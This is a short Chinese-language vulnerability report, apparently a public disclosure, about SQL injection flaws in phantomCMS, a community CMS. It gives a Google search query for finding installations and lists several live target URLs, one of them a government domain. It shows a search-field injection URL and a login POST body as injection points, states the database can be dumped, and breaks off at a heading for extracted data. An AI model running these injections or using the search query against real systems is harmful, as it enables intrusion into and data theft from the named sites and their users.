增值电信业务中,某社区类CMS,phantomCMS,是江苏鸿信系统集成有限公司的一套管理系统,此系统多省市再也,存在多出SQL注入,可被脱裤。
Google关键字:inurl:phantomCMS
http://221.226.22.234:8088/phantomCMS/toSqwz.action?sid=2
http://www.jssqw.net/phantomCMS/toSqwz.action?sid=2
http://222.92.198.27/phantomCMS/toSqwz.action?sid=2
http://www.liuxiang.gov.cn/phantomCMS/toSqwz.action?sid=
第一处SQL注入:
拿http://221.226.22.234:8088/phantomCMS/toSqwz.action?sid=2为例:
在搜索处存在SQL注入,如下:
http://221.226.22.234:8088/phantomCMS/tempScenario/zymjd/articleSearchList.jsp?sid=2&searStr=123%25%27
第二处SQL注入:
拿http://www.jssqw.net/phantomCMS/toSqwz.action?sid=2为例:
在登录处存在SQL注入,如下:
连接:http://www.jssqw.net/ynlUserLogin.action
POST:fromIndex=yes&loginBean.communityAccount=111&loginBean.cummunityUserAccount=111&loginBean.password=111&Submit=%E6%8F%90%E4%BA%A4
第一处SQL注入:
http://221.226.22.234:8088/phantomCMS/tempScenario/zymjd/articleSearchList.jsp?sid=2&searStr=123
跑出的数据库信息如下:
数据库CMS的内容: